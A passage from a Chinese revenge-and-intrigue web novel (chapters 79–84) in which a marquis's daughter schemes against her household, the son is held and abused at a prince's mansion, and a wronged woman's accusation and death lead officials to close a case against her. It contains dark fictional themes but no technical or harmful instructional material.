“阮姨娘如今有了身孕,这茶性寒,可沾不得。”晏逐星的声音不疾不徐,却带着不容置疑的意味。
“身、身孕?”阮寄薇猛地抬头,眼中一片茫然,随即是难以置信的惊愕。
她哪来的身孕?
她们这等被精心调教过的女子,常年服用那掺了麝香的冷香丸,身子不可能有孕。
她早就绝了这份念想。
一旁的九栀见状,端着茶壶的手无声地收了回去。
晏逐星唇角噙着一抹若有似无的笑意,目光如针,直直刺向阮寄薇惶惑的眼底:“我说你有,你便有了。”
她忽地倾身向前,冰凉的手指骤然按在阮寄薇微微颤抖的手背上,力道不重,却带着千钧的压迫。
她一字一句,清晰地叩击在阮寄薇的心弦上:
“我只问你,想不想……让你的儿子,坐上这定远侯府的世子之位?”
第79章 泼天的富贵
轰——
阮寄薇只觉得一股热血直冲头顶,心跳如擂鼓,震得耳膜嗡嗡作响,仿佛下一刻就要挣出胸腔。
想!
她当然想!
只是,她做梦都不敢梦那么大的。
“大小姐不会是在跟妾身开玩笑吧?”阮寄薇的声音轻了下去,带着一种如在梦中的恍惚。
“本小姐从不开玩笑。”晏逐星气定神闲。
她这笃定的态度让阮寄薇扑通狂跳的心慢慢变得平静。
若她的儿子能当上定远侯府世子,她即便只是一个姨娘,那也可以母凭子贵了。
再也没有人能任意打骂发卖她了。
阮寄薇光是想想那个场景,就激动得浑身血液都在沸腾。
她倏然起身,深深拜伏于地,声音带着一丝不易察觉的战栗,却字字清晰:“从今往后,妾身愿听凭大小姐驱使,绝无二话!”
晏逐星弯腰将她搀扶起身。
“前提是你得有本事将这身孕扮得天衣无缝,瞒过所有人的眼。你只管演好你的戏,其余的,自有我来安排。”
“倘若事情败露……”
听到这话,阮寄薇心头一紧,下意识地握紧了晏逐星的手。
晏逐星声音微沉,带着一丝不容置疑的冷意。
“只当今日之事从未提起。”
“为了这泼天的富贵,你可敢赌上一赌?”
阮寄薇毫不迟疑地回答:“妾身敢赌。”
“好,三日内,我要看到你的诚意。你有孕的事情,要让整个侯府都知晓,并且让他们彻底相信。”晏逐星给出了第一个考验。
“妾身定不让大小姐失望。”阮寄薇斗志昂扬。
原本她只想在侯府混吃等死到老,没想到,竟然还有这么一场大造化。
她当然要赌。
赌赢了,那就是一辈子享不尽的荣华富贵。
赌输了,大不了就重头再来,说不定下辈子她也能投生到富贵人家当千金大小姐。
她来时忐忑不安,离开时却精神抖擞,充满干劲。
目送她彻底离开后,九栀忍不住开口:“大小姐,您辛辛苦苦忙碌这么一遭,为何要给别人做嫁衣?”
她不理解。
大小姐费尽心思赶走了二小姐,又将大夫人害残,如今二少爷也瞎了,下一个恐怕就是大少爷了。
她原以为大小姐将侯府赶尽杀绝是为了侯府的富贵,如今看来,也不像呀。
大小姐究竟图什么?
晏逐星微微一笑,没有解释太多:“怎么会是给别人做嫁衣呢。放心吧,是我的,一个都少不了。”
按照她的计划。
晏家上下都得死。
晏明远与晏明修若是身亡,晏氏宗族岂会坐视侯府权柄旁落?他们定会倾尽全力,迫使定远侯从族中择一孩子过继,承袭爵位。
与其坐等他人染指,不如由她先手布局,将这儿子备下。
定远侯的亲骨血,纵是庶出,也比那过继来的外人强上百倍。
届时只需要将这孩子记于嫡母温如霜名下,充作嫡子,名分大义便唾手可得。
待到孩子长大可以袭爵,侯府里该是她的东西,她早就拿到手里。
没什么可担忧的。
更何况,她早已应允了那人,要为她家的孩子谋个好前程,保他一世锦衣玉食,安享尊荣。
她自然要说到做到。
*
温如霜这一闹,倒是让昭瑞亲王府的人没有再登门。
定远侯松了一口气,心中郁闷之气消散了不少。
但翌日上朝被**时,他就知道,他这口气还是松得太早了。
昭瑞亲王府那帮人,竟然把他的夫人惊马摔成残废那桩惨事也扯了出来。
他们声称当时定远侯府的马车失控,撞翻了道路旁好几家百姓的菜摊肉铺,锅碗瓢盆碎了一地,连一对孤儿寡母赖以为生的馄饨挑子也撞散了架。
事后侯府竟没赔一个铜板,任凭那些苦主自生自灭。
他们咬**定远侯是“恃爵凌民,目无王法”。
定远侯当即跪下大喊冤枉。
“陛下明鉴啊!当时臣的夫人惊马坠车,季太医亲诊,言其脊骨碎裂,此生恐难再立!”
“臣心如刀绞,府中上下乱作一团,只求保住夫人性命,哪还顾得上旁的事情?”
他猛地抬起头,急急分辩道:
“至于那些受损的摊铺,臣事后确实未曾听闻。想来是那些苦主见侯府闭门谢客,不敢上前讨要。此乃府中管事疏忽懈怠,未能及时处置。”
“臣驭下不严,难辞其咎。陛下要罚,臣认罚!但那些莫须有的罪名,臣是绝对不会认的。”
昭瑞王府那帮人岂肯就此善罢甘休。
毕竟昭瑞亲王说了,一定要让定远侯府吃不了兜
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着走。
他们受了王府的恩惠,自然要把这事办得漂亮。
因而任凭定远侯如何申辩,他们只当耳旁风,依旧在御前嘴皮子翻飞,唾沫星子四溅。
**的折子夹枪带棒,将一些鸡毛蒜皮的小事翻来覆去地说,硬要从中找出定远侯的各种罪名来。
他们心里也很清楚。
定远侯这人,爵位听着显赫,实则手无实权,早被边缘多年;为人也算谨慎,抓不住他贪赃枉法、结党营私的把柄;他本人更没干过什么**人怨、震动朝野的大事。
对付这样的人,实在是找不出什么大罪名,只能在这些犄角旮旯里找一些小过错来恶心他。
最后文昭帝实在是听烦了,下了一道口谕,罚了定远侯两个月的俸禄,让他给那些苦主进行十倍的赔偿。
这事才算过去。
定远侯黑着一张脸回了侯府。
刚进书房,他抬脚就把一张酸枝木的圆凳踹翻在地,凳子腿撞在**架上,震得几个瓷瓶叮当乱响。
“欺人太甚!简直是欺人太甚!”
他气得来回在一片狼藉的地上踱步,靴子踩得碎瓷片咯吱作响。
一次罚俸,他认栽。
可昭瑞亲王府门下那群走狗,尝到了甜头哪会轻易松口。
一想到那群人像跗骨之蛆,隔三岔五就在朝堂上翻出些陈芝麻烂谷子的事情恶心他。
他就烦得很!
那些罪名不至于让他掉脑袋,可不停地被皇上罚俸、申斥,他也受不了。
长此以往,他还有什么脸面可言。
晏逐星从丫鬟口中得知定远侯下朝归家后大发了一通脾气,略一思忖,命人炖了一盅冰糖炖梨亲自送了过去。
“星儿怎么来了?”看到她,定远侯还是给了几分面子,嘴角勉强牵起一丝极淡的笑意。
晏逐星将冒着热气的甜羹轻轻放在桌上,温声道:“女儿想着父亲顶着寒风下朝回来,定然需要些暖意来驱寒,因此特意送了甜汤来。”
她顿了顿,脸上堆起恰到好处的乖巧。
“前日在国公府,听国公夫人无意间说起,每回国公爷觉得不痛快时,喝碗甜汤就会心情舒畅些。女儿想着,父亲或许也是一样的。”
她送甜汤来,为的就是套话。
她想知道今日朝堂上到底出了什么幺蛾子,能把定远侯气成这样。
第80章 他抛弃你了
“肯定是昭瑞亲王指使的!”
定远侯憋了一肚子的邪火,此刻瞧见晏逐星一脸关心,一时间没忍住就把朝堂上那点憋屈事抖落了个干净。
晏逐星垂着眼帘,安安静静听着。
见他气喘吁吁骂得告了一段落,她立刻眼疾手快地将温热的甜汤递了过去。
定远侯接过胡乱舀了一勺塞进嘴里。
那甜腻温热的液体滑下喉咙,浇灭了一点火气,让他觉得心里舒坦了不少。
就在这时,晏逐星幽幽地叹了口气:“唉……这事儿要是女儿做的,该多好。”
“啊?”
定远侯含着一口汤,眼神发直,没反应过来她这话是什么意思。
晏逐星抬起眼,目光里掺着点无奈和心疼:“那女儿肯定立刻、麻溜地亲自去昭瑞亲王府门前磕头赔罪啊。不管他们说什么难听的话,女儿都受着。”
“只求他们别再拿这些鸡毛蒜皮来烦扰父亲了。”
欣慰瞬间涌上心头。
定远侯老怀安慰,感动地看着晏逐星。
瞧瞧。
还是女儿好呀。
多懂事!多体贴!
对比之下,晏明修就显得格外的不懂事了。
他心中的邪火“噌”地又烧起来了,甚至比刚才还旺。
要是那小子能有星儿一半明白事理,有点眼力见,早早地自己滚去王府认错,把这事平了。
他堂堂一个侯爷,至于像现在这样丢人么。
定远侯将自己今日受的所有委屈全都记到了晏明修身上。
晏逐星趁机添油加醋,将晏明修架到火上烤:“不过如今为时也不晚。若是二哥愿意主动去王府探望谢世孙,想必王爷也能消气。”
定远侯有些迟疑:“可如今已经得罪了他们,再把你二哥送去……”
“父亲此言差矣。”晏逐星摇了摇头。
“先前王爷让二哥去,是赔罪,如今我们主动登门,是二哥探望好友,怎么能是一回事呢。”
“若谢世孙不分青红皂白,伤了二哥,那就是他们的不对了。咱们礼数周全,问心无愧。”
听了这话,定远侯一瞬间就想通了。
对啊,他怎么把这茬儿给忘了。
之前谢锦程和明修都是好友,于情于理,谢锦程受了伤,明修都该去探望的。
再说了,他也不是无权无势的平头百姓。
要是王府真敢伤他儿子,他立马就哭到皇上面前,把他们那套下三滥的**手段,原封不动地砸回他们脸上。
让他们也尝尝这“以其人之道还治其人之身”的滋味。
“还是星儿聪慧。”定远侯越看晏逐星越觉得满意。
果然孩子还是自己养大的好呀。
亲不亲生的,有什么关系。
孝顺懂事就好。
“多亏父亲教得好。”晏逐星笑眯眯地回应。
一句话夸得定远侯身心都舒畅了。
他命人将晏逐星送回了院子,而后去找了晏明修,让他即刻同他去昭瑞亲王府走一趟。
父子二**吵了一架。
最后不知道定远侯是怎么说服他的,晏明修最终答应了下来。
温如霜想阻止,但失败了。
毕竟这一回是晏明修亲自要求去的。
她担忧地看着定远侯和晏明修离去的身影,心头有些不安,但又无可奈何,最终只得躺在床上等他们的音信。
晏逐星回了玉澜院,九栀便附耳过来询问:“小姐,裴大人那边要动了吗?”
“不急,让谢锦程再得意几日,先让晏明修吃点苦头。”晏逐星摇了摇头。
晏明修一旦踏入了昭瑞亲王府,想回来,可就不是那么简单的事情了。
昭瑞亲王或许会顾忌一些脸面,但被废掉的谢锦程就是个疯子。
他不会就这样让晏明修离开的。
果然,和晏逐星预料的一样。
定远侯带着晏明修上门时,昭瑞亲王客客气气地见了他们。
不一会儿,谢锦程的小厮就来请走晏明修,强调要“单独会见”。
“父亲。”晏明修有些紧张地盯着定远侯。
定远侯还没说话,昭瑞亲王就先开口了。
“你们是至交好友,如今锦程受了伤,心里郁闷,一蹶不振。你该好好开导开导他才是。”
“王爷言之有理。明修,你去吧。父亲在这等你。”定远侯点了点头,没有阻拦。
箭在弦上不得不发,现在说离开也来不及了。
晏明修只能挤出一抹勉强的笑,跟着小厮去了谢锦程的院子里。
定远侯留在原地和昭瑞亲王闲谈。
话里话外都说的是今日**之事许是误会,之后还请王爷替他多多美言几句,莫要让同僚们误会了他。
昭瑞亲王笑笑,没答应也没拒绝。
约莫过了半个时辰,还不见晏明修回来,定远侯有些坐不住了。
他开口道别,提出要带儿子离开。
昭瑞亲王倒也没有阻拦,直接让人去接晏明修。
定远侯心下稍安。
没过多久,派去的小厮就气喘吁吁地跑了回来,躬身禀报:
“回王爷、侯爷,少爷他心
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情实在不佳。二公子与我家少爷情同手足,不忍见他如此,执意要多留几日陪伴开解,等过几日再回侯府。”
“什么?这不可能。”定远猛脸色瞬间变得铁青。
若不是他以休了温如霜为借口威胁晏明修,他才不会来王府呢。
因此,他是绝不可能要留下的,这小厮说的肯定是假话。
昭瑞亲王闻言,微不可察地蹙了下眉头。
他和定远侯想到了一块。
但想着自家小孙子心里有气,总要发泄出来的,不然憋着伤身。
昭瑞亲王端起茶盏,慢条斯理地撇了撇面上的浮沫,这才悠悠开口:“侯爷为何这般笃定不可能?”
“据本王所知,锦程与你家二郎,乃是无话不谈、形影不离的挚友。”
“你家二郎心性纯善,最是重情重义。如今挚友心中郁结难舒,他留下来陪伴开解几日,这不是理所当然之事吗?”
定远侯:“……”
他没想到他们竟然就这样光明正大的把人扣下了。
沉默片刻后,他深吸一口气,开口道:“内子温氏,最是护短。若明修在贵府出了什么意外,她恐怕会做出有失体统的糊涂事,若惊动了御前,臣恐怕无力阻拦,届时王府清誉……”
他没把话说完。
昭瑞亲王冷冷放下茶盏:“侯爷多虑了。王府又不是什么龙潭虎穴,令郎不过是来做客罢了,怎会有什么意外。放心吧,过几日,本王自会让人将他平安送回侯府。”
“平安”二字咬得极重。
定远侯知晓今日是带不走晏明修了,只得不情不愿地离开。
晏明修听闻父亲离去,瞳孔骤然紧缩,脸上血色尽褪。
“不可能!”
“父亲答应过我的,一定会带我回去!你骗我!”
谢锦程欣赏着他濒临崩溃的模样,喉咙里滚出一阵低沉扭曲的、令人毛骨悚然的愉悦笑声。
他俯下身,冰凉的手指恶意地抚过晏明修因恐惧而绷紧的脸颊,眼中翻涌着病态的餍足:“啧,真是天真得可怜啊。”
晏明修下意识地想要后退,但一动,才想起来自己被谢锦程捆住四肢,绑在了椅子上。
他额头一瞬间就冒出了细细密密的冷汗。
“你别过来,你想做什么?”
谢锦程当真如他所愿停住了动作。
他唇边勾起一个残忍的笑,拉长音调,说出了最诛心的话。
“你已经是个废人了,你父亲又怎会在乎你。”
“他呀——”
“抛弃你了。”
第81章 那就**吧
“你胡说!”
晏明修脱口而出。
他好后悔,他就不该来王府的。
“我是不是胡说,你很快就会知道了。”谢锦程恶劣地勾起嘴角。
话音刚落,门外传来昭瑞亲王威严的声音:“锦程,过来。”
谢锦程将晏明修留在了屋里,转身出去,恭敬地冲他行了一礼。
“见过祖父。”
昭瑞亲王盯着他,目光带着审视。
片刻后,方才开口:“锦程,他是定远侯的嫡子,你要注意分寸。”
谢锦程露出一抹温良无害的笑:“明修乃是我的挚友,我怎么舍得伤他?”
他语气轻快,带着一丝令人不寒而栗的亲昵。
“祖父放心。三日后,孙儿定将他全须全尾送回侯府。”
得了承诺,昭瑞亲王不再多言。
转身之际,晏明修嘶哑凄厉的求救声穿透门板而来。
“王爷!王爷救救我!我要见我爹!求您了王爷——!”
昭瑞亲王脚步微不可察地顿了顿。
随即,他仿佛什么也没听见,甩开衣袖,头也不回地快步离去。
谢锦程转身回了屋内,晏明修看到他逼近,紧张地咽了咽口水。
谢锦程面无表情地将先前从伤口换下来的纱布拿了过来。
他捏住晏明修的下巴,撬开他的嘴,将那纱布用力塞到了他的嘴里。
晏明修一想到那些纱布裹过谢锦程的什么地方,一瞬间就干呕了起来。
但嘴里塞着东西,他却什么都吐不出来。
“明修,你我乃是好友,我怎么会害你呢。我只想你陪陪我呀。”谢锦程只留下了这么一句话,便转身躺回床上去了。
他优哉游哉地命人搬来一座屏风,隔绝了晏明修的视线。
而后又命人请了京城最好的戏班子来,在他的院子里唱起了戏。
期间,晏明修试图用各种动静吸引谢锦程的注意力,但谢锦程都没有再搭理他。
晏明修从一开始的愤怒,到绝望,到最后的心如死灰。
院子里的戏唱了足足三个时辰。
直到夜幕降临,谢锦程仿佛才想起屋子里还有一个他。
他动手把晏明修嘴里的布扯掉。
布一离口,晏明修就“哇”地一声吐了出来。
谢锦程让人解开他手上的绳子,温柔地替他拍背:“明修,你若肯听话,我何至于这样对你。”
没想到,这一碰让晏明修吐得更凶了。
他猛地推开谢锦程的手。
“别碰我。”
他被绑得太久,手脚发软,这一推反倒让他摔进了先前吐出的那摊呕吐物里。
谢锦程眉头一锁,嫌恶地退开几步,冷冰冰道:“来人,把他架起来。弄干净,喂点吃的,别让他**。”
他吩咐完转身就进了旁边的屋子,再没回头,把晏明修一人丢在那里。
晏明修见他走了,强撑着爬起来就想往外冲。
可院门口的护卫“唰”地一声拔出刀剑,寒光刺眼。
他心里顿时明白,他走不掉的。
晏明修放弃了挣扎,跟着小厮去沐浴更衣。
这期间,他提心吊胆,生怕谢锦程会做出什么过激的事情来。
结果出乎他的意料,谢锦程竟然全程没有出现,也没有让人为难他。
他饿了一整日,在小厮端来饭菜时,犹豫了片刻后就大口大口地吃了起来。
吃过饭后,晏明修被请回了房间里。
谢锦程也没有出现。
他长长舒了一口气。
再忍两天,父亲一定会来带他回家的。
晏明修在心里暗暗给自己鼓劲。
但他心里装着事,躺在床上翻来覆去地睡不着,耳边总是萦绕着谢锦程白日里说的那些话——
“你已经是个废人了,你父亲又怎会在乎你。”
“他呀……”
“抛弃你了。”
不。
不会的。
父亲不会抛弃他的。
晏明修猛地从床上弹坐起来。
他的手下意识就摸向空洞洞的左眼窝,心像坠了块冰,直直地沉下去。
没错,他如今就是个废人,一个连眼珠子都保不住的废人。
父亲放弃他,好似理所应当。
他失魂落魄地爬起来,抓起桌上的茶壶就往嘴里灌。可奇了怪了,那茶水越喝,他
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就感觉越渴,他只能一杯接一杯地往下灌。
灌到后来,他感觉自己整个人变得晕乎乎的。
最后一丝清醒被抽走前,他模糊的视野里,只死死钉进了一双墨黑的靴子。
有人来了。
*
得知晏明修被扣在昭瑞亲王府,温如霜当下就闹了起来。
“你不把明修接回来,我就死给你看。”她尖声嘶吼。
“好啊,那你就**吧。”定远侯嗤笑一声,抱着手臂冷眼瞧她,“丧母之痛,我就不信他们还有脸不放人?”
他早受够了温如霜没完没了的要挟。
听到他这般绝情的话,温如霜眼珠子都快瞪出来了。
她气得上半身都哆嗦了起来:“你竟然巴不得我死?!”
定远侯连眼皮都懒得抬一下,直接转向旁边的丫鬟仆妇,声音冷得像冰碴子:
“还不快把夫人‘请’回去?她要是染了风寒,你们就等着挨板子吧!”
温如霜的贴身嬷嬷李氏被他看得一哆嗦,赶紧招呼粗使婆子上前抬人。
温如霜哪里肯依,她拼命抬手扇打靠近着她的仆妇,嘶声尖叫:“李氏!你这吃里扒外的贱婢!谁才是你主子?!”
李氏凑到温如霜耳边,想要同她窃窃私语,说服她赶紧离开。
没想到刚一靠近,温如霜就反手她扇了一巴掌。
李氏捂着脸,忍下了委屈,提醒道:“夫人,眼下救二少爷要紧啊。”
提起晏明修,总算换回了温如霜的一些理智。
她恨恨地看了定远侯一眼,咬牙切齿道:“走。”
书房里的闹剧,很快就传到了晏逐星的耳朵里。
果然和她猜的差不多。
晏明修回不来,定远侯对温如霜的忍耐也快要到极限了。
这个时候要是阮寄薇能爆出怀孕的好消息,想必定远侯也会把在王府的儿子给忘了吧。
温如霜一夜未眠。
翌日清晨她便顶着眼底的一片乌青,趁着定远侯上朝之际,亲自去王府要人。
没想到,王府的人并没有阻拦她见儿子。
她更没想到的是,儿子竟然拒绝跟她回侯府。
第82章 非人的对待
“明修,别犯傻,跟娘回家!”温如霜一把攥住儿子的手腕,想要用尽全身力气想把他从椅子上拽走。
晏明修下意识地瞟了旁边的谢锦程一眼。
四目相对之际,谢锦程嘴角噙着一丝冷笑,漫不经心地吹了声口哨。
“汪汪汪。”
窗外瞬间响起了一阵狗叫。
晏明修的脸色“唰”一下惨白如纸,整个人控制不住地抖了一下。
“娘!您先回!”
他的声音发紧,带着显而易见的颤音。
“我……我在王府再陪锦程些日子,等他想通了,我立刻回去!”
“是不是有人欺负你了?你告诉娘!”温如霜看他这恐惧的模样,心都揪紧了,眼泪“啪嗒啪嗒”砸在晏明修的手背上。
她不顾晏明修的阻拦,猛地一把撩起他的宽袖。
却发现他双臂光洁,没有半点受伤的迹象。
随后她又急急忙忙扯开了他胸前的衣襟,依旧不见任何红痕淤青。
晏明修却像被烫到一样,推开了她。
他的声音陡然拔高,崩溃大叫了起来:“娘!求您了,您快回去,过些时日我自然会回府!”
窗外的狗叫声愈发激烈,晏明修的呼吸也变得急促了起来,他几乎要晕过去了。
温如霜看着儿子惨白脸上那近乎绝望的抗拒,知道再问不出什么。
她只能强压着翻江倒海的担忧,离开了王府。
任她想破脑袋都没想到,自己的儿子昨夜究竟遭遇了什么非人的对待。
待到她离开后,晏明修后背的衣裳已经被冷汗彻底浸透。
谢锦程露出满意的笑。
他摸了摸晏明修的脑袋,夸赞道:“真是一条听话的好狗。”
听到“狗”字,晏明修就想吐。
他想躲开他的手,但还是硬生生地按住了自己没有乱动。
昨夜之事,他永生难忘。
他彻底明白了,谢锦程就是个罔顾人伦的畜生,和这样的人没有任何道理可讲。
他恨不得将他杀之后快,但又无能为力。
谢锦程看着晏明修那副既恨毒了他、又干不掉他的憋屈模样,再也忍不住,爆出一阵刺耳的大笑。
他用力拍着自己的大腿,笑得前俯后仰,仿佛看到了天底下最好笑的猴戏。
笑够之后,他才开口:“晏明修,你后悔吗?”
晏明修咬紧了后槽牙,一言不发。
“后悔也没办法。谁让昨夜是你自己喝下的那壶茶呢。”谢锦程露出了幸灾乐祸的笑。
“就像你那日说的一样,谁叫我把你带去醉花楼的呢。若我不把你带过去,我今日就不会变成这个样子。”
提到自己的痛处,谢锦程脸上的笑瞬间消失,取而代之的是满脸阴毒与怨恨。
看到他这个样子,晏明修抖得更厉害了。
他不会又把他丢去和那条发了情的狗呆在一起吧。
见他抖成这个样子,谢锦程忽然觉得没什么意思。
太不经吓了。
还得想点新法子折磨他才行。
谢锦程嗤笑一声:“放心吧,我说了三日,那就是三日。你只要乖乖听话,我们就还是好兄弟。到时候,我自会送你回侯府。这些事情,我都会替你保密,保证不会让旁人知晓半分。”
晏明修绝望地闭上了眼睛。
还有两日。
只要再熬过两日,他就能回府继续当他的侯府二少爷了。
只不过,还没等他熬到第三日,谢锦程就被京兆府的人请走了。
晏明修心中的不安愈发浓重。
难不成是他的那些事情被传出去了,所以谢锦程被带走了?
他越想越害怕,两眼一黑,当场晕了过去。
*
玉澜院。
九栀快步走了进来。
“大小姐,王素娥已经拦住裴大人,将**交上去,且当场撞柱身亡了。”
晏逐星手中的笔一顿,笔尖的墨滴落在了纸上,将她先前写的字晕染开来。
自打谢锦程第一次约晏明修出门游玩的时候,她就命张小乙借着采冰的机会,暗中寻访那些曾被谢锦程戕害过的妇人。
按照上一世的情况,那卖鱼郎的娘子此时应当尚未落入谢锦程魔爪。
但像他这样视人命如草芥的畜生,手上沾染的血债绝不止卖鱼郎这一桩。
果然,张小乙没有让她失望。
真就揪出了谢锦程另一桩罪状。
三个月,他在醉花楼喝酒,错把来寻夫的妇人当做了楼里的姑娘
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,强行玷污了人家的清白。
事后,那妇人欲当场撞柱,却被拦下。
谢锦程以她家人的性命做要挟,让她跟了自己。
那位名叫王素娥的妇人,为了夫君和孩子只得含泪入王府给谢锦程当暖床的丫鬟。
一个月前,谢锦程厌倦了她,将她逐出了王府。
王素娥归家后,发现夫君已经用她在王府换回来的银子置办了田地,还纳了妾。
不仅如此,还将她从王府带回来的值钱东西都抢走了,她的孩子也认为她不贞,嫌弃她,不愿意喊她娘亲。
她的夫君将她休了,把她赶回了娘家。
王家人得知她的遭遇,义愤填膺,要去夫家替她讨要说法,结果说法没要到,反被打了一顿撵出来。
第二日,家中忽然起了大火,他们一家五口全都死在了火海之中。
若不是王素娥心有不平,想回夫家想要把自己得的银钱拿回来,恐怕也要丧命其中。
得知家人身死,崩溃之下,她也打算一**之,结果遇到了寻人的张小乙。
张小乙将她带了回来。
王素娥萌生了死意,一心求死,根本不想活着。
她一介妇人,连丈夫一家都斗不过,又怎么斗得过王府。
要不是晏逐星派人严加看管她,她恐怕**好几回了。
直到前几日,晏逐星的人找到了她的弟媳妇。
那日她的弟媳妇宋氏早早就回了娘家,因此躲过一劫。
也是那一日,她才发现自己怀了孩子。
得知宋氏的肚子里怀着王家最后的血脉,王素娥终于有了要复仇的决心。
晏逐星许诺她,无论最后生下来的孩子是男是女,她都会保其一辈子富贵荣华。
王素娥终于答应状告谢锦程。
因此才有了今日她携着**报官,求裴明镜做主之事。
晏逐星放下了手中的笔,扫了一眼纸上写下的几个名字:
平安、长生。
锦绣、明珠。
那日,王秀娥拜托她给未出生的小外甥取名字。
如今她还没把去取好的名字告诉她,让她择其一,她就**。
沉默片刻后,晏逐星轻声开口:“王素娥死后,裴明镜作何反应?”
第83章 也算是报应
“裴大人派人去调查了王素娥所言,已经将她的丈夫刘书叫到了京兆府。”九栀有条不紊地进行汇报。
“刘书一开始还想狡辩,但后来经不住裴大人的审问,老实交代了。”
“他所言的和王素娥上交的**相差无几,唯有屠戮王家满门一事,他喊了冤。”
“他说他只是去和昭瑞亲王府的管家提了一下,第二天王家就没了。这事真不是他干的。”
“裴大人已经派人去把管家和谢锦程请过去了。”
晏逐星听完心里就有数了。
这事大概率最后就由王府管家来背锅。
谢锦程有皇室宗亲的身份庇护着,最多也就和上辈子一样,贬为庶人,圈禁于王府,终身不得外出。
虽然没能让他一命偿一命,但如今他不能再祸害其他良家妇女,一辈子人不人,鬼不鬼地活着。
倒也算是报应了。
“我知道了。”晏逐星点了点头,没有再问。
“后续的事情我们不要再插手,让裴明镜去查。”
“好。”九栀点头答应了下来。
这时,门外传来了衔蝉的声音:“小姐,明日就是腊八节了,咱们是不是要煮些腊八粥送去国公府呀?”
晏逐星这才惊觉,时间过得飞快。
明日就是腊八节。
那再过不久,就是过年了。
她对上辈子的腊八节毫无印象,甚至连过年的记忆都有些模糊了。
晏明月被接回来之后,每一年过年都是她不愿回忆的噩梦。
如今她只记得上一世在军营里的最后一年,她和霍将军他们一块包饺子的场景。
将军夫人笑话她手握**、拉弓射箭的时候那么灵活,怎么到包饺子上边就笨手笨脚的了。
她不好意思反驳,讷讷低头拼命想要把饺子包好,却反倒让饺子胀破了肚皮,更加糟糕了。
将军次子霍开阳听到这话振振有词:“反正饺子下锅最后都要进肚里,长什么样不都一样,好吃就行。”
将军夫人气得抬手就给他一个脑瓜崩,霍开阳脑门上沾了一抹白,他也不恼,只是嘿嘿傻乐,夸他娘亲力气真大。
营帐里顿时充满了欢声笑语。
那是她为数不多的温暖时刻。
想到这,晏逐星忍不住弯了弯眉眼。
“小姐?”见她迟迟不吭声,衔蝉再次出声提醒。
“你教教我吧。煮好了,我亲自给国公府送去。”晏逐星开口。
这些日子她只顾着算计**,整个人一直绷紧得像一根弦。
如今心里竟莫名涌起一阵疲惫。
她想,或许她应该找点别的事情转移一下注意力。
先过个好年,等过完了年,再把定远侯府剩下的人给解决了。
“好呀。”听到她要学煮腊八粥,衔蝉笑眯眯地答应了下来。
晏逐星想了想,又吩咐了下人多采买一些食材,明日腊八节,她要去施粥。
就当是给王素娥祈福吧。
希望她来世能托生到一个好人家。
*
谢锦程被叫到了京兆府。
看着裴明镜,他依旧是一副不可一世的嚣张态度。
“裴大人,不过是一个王府帮工,也值得你这般大动干戈?”他将王素娥签下的契书扔了出来。
裴明镜捡起来细细查看,发现上边写的是:王素娥自愿受雇于昭瑞亲王府,负责内院针线杂役。
契约签的也是活契,签了半年。
“她跟管家哭诉想孩子所以要回家去,小爷我心善,便准她提前离开王府。这人怎么还倒打一耙呢。”谢锦程有备而来,并未惊慌。
“还有她那夫家,隔三岔五到王府要钱,管家早就烦不胜烦了。要不是看她可怜,有孩子要养,早把她赶出王府了。”
裴明镜听到他的辩解,没有意外。
这种事情谢锦程一定没少干,他肯定早就想好了退路。
“那贵府管家灭了王家满门一事,又该怎么说?”裴明镜把话题转移到了管家**身上。
“还有这等事情?”谢锦程露出了惊讶的神情,装作什么都不知道的样子。
“裴大人可有证据,莫不是误会了?”
**是他祖父一手提拔上来的,在王府干了几十年,什么话该说什么话不该说,他心中定有分寸。
因而谢锦程不相信他会轻易吐口,让罪名落到他头上。
“自然
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是有的。”裴明镜也不是全然没有准备。
本来他没那么快查到他买凶的证据,多亏了王素娥**上的提醒,他才能顺藤摸瓜,这么快就找到了管家买凶**的证据。
他将搜罗到的罪证摆在了谢锦程面前。
“管家买凶的银票,纵火的嫌犯,本官都找到了。”
谢锦程敛起笑意,脸色变得有些阴沉。
他冷冷道:“这些说明不了,很可能是那女子栽赃陷害。**可没认罪。”
裴明镜点了点头:“**尚未承认罪行,本官自然还需要继续审理。”
管家对王府十分忠诚,一直不松口,即便有了这些证据他也咬死不承认是自己干的。
他称银票是被人偷了。
纵火的嫌犯也只是一面之词,他们并未见过。
因此事情就卡在了这里。
谢锦程脸色稍缓,裴明镜又道:“一个小小管家,怎么敢犯下这样的滔天大罪。幕后一定有人指使。”
他越说,谢锦程的脸色越难看。
裴明镜仿佛看不到,继续道:“好在今日清晨京兆府恰好寻得一名关键活口,待其归案,想必一切就真相大白了。届时,定要这些凶手血债血偿。”
谢锦程脸色变了又变。
但他很快就恢复了先前那副玩世不恭的模样。
“是么,那就恭贺大人了。还望大人能早点破案,早日还王府一个清白,还王家一个公道。”
说完就大摇大摆地离开了。
裴明镜面无表情地看着他离开,将郑晗叫来。
“盯着他。看他接下来会去哪里找人。”
他先前说的话,不过是故意诈谢锦程罢了。
郑晗目露难色。
他只是小官出身,不像裴大人有一个好的家世,还有太后恩宠。
他哪敢得罪昭瑞亲王府啊。
看出了他的顾虑,裴明镜果断道:“放心,若出了什么事,本官一力承担。王爷若是怪罪,本官护你到底。”
有了他这句话,郑晗当即昂首挺胸答应了下来:“是,下官这就派人盯着他。”
王素娥的死,并未换来谢锦程入狱。
但却让刑部和大理寺达成了一致。
第84章 明年有王妃
“上回在醉花楼画舫上刺杀谢世孙的正是王素娥!”
刑部和大理寺的官员迟迟查不到真凶,又被昭瑞亲王不停地催促,忙得是焦头烂额,嘴角都急得长了燎泡。
如今王素娥的出现,正好解了他们的燃眉之急。
他们的理由十分充分:
那日射伤谢锦程的是女子,王素娥,女的。
对上了。
那人必定恨极了谢锦程,王素娥为了让谢锦程入狱,以命相告,可见对谢锦程是恨之入骨。
这也对上了。
再加上他们整理的所谓的王素娥“行踪图”,也能和谢锦程那日受伤的路线对上,他们就果断结案了。
反正那些日子王素娥被夫家所抛弃,娘家人又死光了,一心求死,见过她的人少之又少,他们随便编几条路线都死无对证。
谢锦程听到他们这荒谬的说法,面色沉沉。
他又不是瞎了。
自己睡了两个月的女人都认不出来。
那日的女子绝对不可能是王素娥。
他怒吼道:“可那日杀我之人明明说要针对的是晏明修!”
刑部尚书面不改色道:“许是怕您查到她头上,所以故意这么说。”
“那还有她的同谋呢,那个会打鼓的小丫鬟?”谢锦程气得后槽牙都要咬碎了。
刑部尚书继续道:“是她的小妹。”
“你们诓我也得用点心吧。”谢锦程气笑了。
“她娘家人不都死在了大半个月前的那场大火里了吗。”
“王家的尸骨少了一具,想必就是她的小妹王素娟。”大理寺卿在一旁客客气气地补充。
